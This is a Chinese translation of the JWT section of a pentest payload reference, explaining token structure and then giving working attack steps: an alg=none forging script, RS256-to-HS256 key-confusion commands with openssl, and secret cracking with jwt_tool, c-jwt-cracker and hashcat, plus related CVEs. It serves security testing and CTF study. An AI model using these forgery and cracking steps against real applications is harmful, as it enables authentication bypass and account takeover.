【翻译】PayloadsAllTheThings——JWT (JWT - JSON Web Token)

JWT - JSON Web Token

本文翻译自:swisskyrepo/PayloadsAllTheThings
在原文基础增加了未提到的利用方法。

2022-12-19 翻译第一版

JSON Web Token (JWT)是一个开放标准(RFC 7519),它定义了一种紧凑且自包含的方式,用于作为JSON对象在各方之间安全地传输信息。此信息是可以验证和信任的,因为它是数字签名的。

参考工具 (Tools)

jwt_tool
c-jwt-cracker
JOSEPH - JavaScript Object Signing and Encryption Pentesting Helper

JWT格式(JWT Format).

Base64(Header头部).Base64(Data数据).Base64(Signature签名)
举个例子:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkFtYXppbmcgSGF4eDByIiwiZXhwIjoiMTQ2NjI3MDcyMiIsImFkbWluIjp0cnVlfQ.UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY
通过“点”可以把其分为三段:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9        # header
eyJzdWIiOiIxMjM0[...]kbWluIjp0cnVlfQ        # payload
UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY # signature

头部 (Header)

默认算法是HS256(HMAC SHA256对称加密),不对称加密时使用RS256(RSA非对称加密和私钥签名)

{
    "typ": "JWT",
    "alg": "HS256"
}
alg参数的值数字签名或MAC算法要求
HS256HMAC using SHA-256Required
HS384HMAC using SHA-384Optional
HS512HMAC using SHA-512Optional
RS256RSASSA-PKCS1-v1_5 using SHA-256Recommended
RS384RSASSA-PKCS1-v1_5 using SHA-384Optional
RS512RSASSA-PKCS1-v1_5 using SHA-512Optional
ES256ECDSA using P-256 and SHA-256Recommended+
ES384ECDSA using P-384 and SHA-384Optional
ES512ECDSA using P-521 and SHA-512Optional
PS256RSASSA-PSS using SHA-256 and MGF1 with SHA-256Optional
PS384RSASSA-PSS using SHA-384 and MGF1 with SHA-384Optional
PS512RSASSA-PSS using SHA-512 and MGF1 with SHA-512Optional
noneNo digital signature or MAC performedOptional

载荷 (Payload)

{
    "sub":"1234567890",
    "name":"Amazing Haxx0r",
    "exp":"1466270722",
    "admin":true
}

预定义的键及其值:

  • iss: JWT的签发者
  • exp: JWT过期时间的时间戳(拒绝已过期的令牌)。注意:在规范中定义,必须以秒为单位
  • iat: JWT签发的时间
  • nbf: “not before”是JWT将变得起作用的的未来时间。
  • jti: JWT的唯一标识符。用于防止JWT被重复使用或重播。
  • sub: JWT面向的用户(很少使用)
  • aud: JWT的接受者(很少使用)

JWT 在线编解码: https://jwt.io/

利用方法

JWT签名——None算法

JWT支持的签名算法为None。这可能是为调试时引入的。但是,这可能会对应用程序的安全性产生严重影响。

None算法变种:

  • none
  • None
  • NONE
  • nOnE

要利用此漏洞,只需要解码JWT并更改用于签名的算法。然后你就可以提交新的JWT了。

但是,除非删除签名,否则这将不起作用
或者,您可以修改现有的JWT(注意过期时间)

#!/usr/bin/python3
# -*- coding: utf-8 -*-

import jwt

jwtToken 	= 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.YWUyMGU4YTI2ZGEyZTQ1MzYzOWRkMjI5YzIyZmZhZWM0NmRlMWVhNTM3NTQwYWY2MGU5ZGMwNjBmMmU1ODQ3OQ'

decodedToken 	= jwt.decode(jwtToken, verify=False)  					# Need to decode the token before encoding with type 'None'
noneEncoded 	= jwt.encode(decodedToken, key='', algorithm=None)

print(noneEncoded.decode())

"""
Output:
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.
"""

非对称加密私钥泄露

使用泄漏的私钥重新生成修改后的JWT。例如:ctfshow web349

JWT签名——RS256 转为 HS256(非对称转为对称)

由于公钥有时可以被攻击者获取,攻击者可以将报头中的算法修改为HS256,然后使用RSA公钥对数据进行签名。

HS256算法使用密钥对每条消息进行签名和验证。(对称加密)
RS256算法使用私钥对消息进行签名,并使用公钥进行身份验证。(非对称加密)

import jwt
public = open('public.pem', 'r').read()
print public
print jwt.encode({"data":"test"}, key=public, algorithm='HS256')

此行为在python库中已修复,并将返回此错误
jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.
有两种方法绕过,第一种较为简单:
第一种是修改这个库的源代码,注释掉检查报错部分。
第二种是:

$ cat key.pem | xxd -p | tr -d "\\n"
2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a

$ echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a

(stdin)= 8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0

$ python2 -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0')).replace('=','')\")"

最后拼接JWT
[HEADER EDITED RS256 TO HS256].[DATA EDITED].[SIGNATURE]
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ.j0IbNR62H_Im34jVJqfpubt7gjlojB-GLyYaDFiJEOA

爆破JWT密钥

用密钥编解码JWT

import jwt
encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256') # encode with 'secret'

encoded = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE"
jwt.decode(encoded, 'Sn1f', algorithms=['HS256']) # decode with 'Sn1f' as the secret key

# result
{u'admin': True, u'sub': u'1234567890', u'name': u'John Doe'}
JWT tool(需要字典)

https://github.com/ticarpi/jwt_tool

git clone https://github.com/ticarpi/jwt_tool
python3 -m pip install termcolor cprint pycryptodomex requests
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.1rtMXfvHSjWuH6vXBCaLLJiBghzVrLJpAQ6Dl5qD4YI -d /tmp/wordlist -C

字典文件:
https://github.com/wallarm/jwt-secrets

JWT cracker (无需字典)

https://github.com/brendan-rius/c-jwt-cracker

git clone https://github.com/brendan-rius/c-jwt-cracker
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE
Secret is "Sn1f"
Hashcat (可用显卡加速)

支持在单个GTX1080上以365MH/s的速度破解JWT (JSON Web Token)
Hashcat

/hashcat -m 16500 hash.txt -a 3 -w 3 ?a?a?a?a?a?a
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMj...Fh7HgQ:secret

CVE详情

  • CVE-2015-2951 - The alg=none signature-bypass vulnerability
  • CVE-2016-10555 - The RS/HS256 public key mismatch vulnerability
  • CVE-2018-0114 - Key injection vulnerability
  • CVE-2019-20933/CVE-2020-28637 - Blank password vulnerability
  • CVE-2020-28042 - Null signature vulnerability

靶场 (Labs)

参考阅读 (References)

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值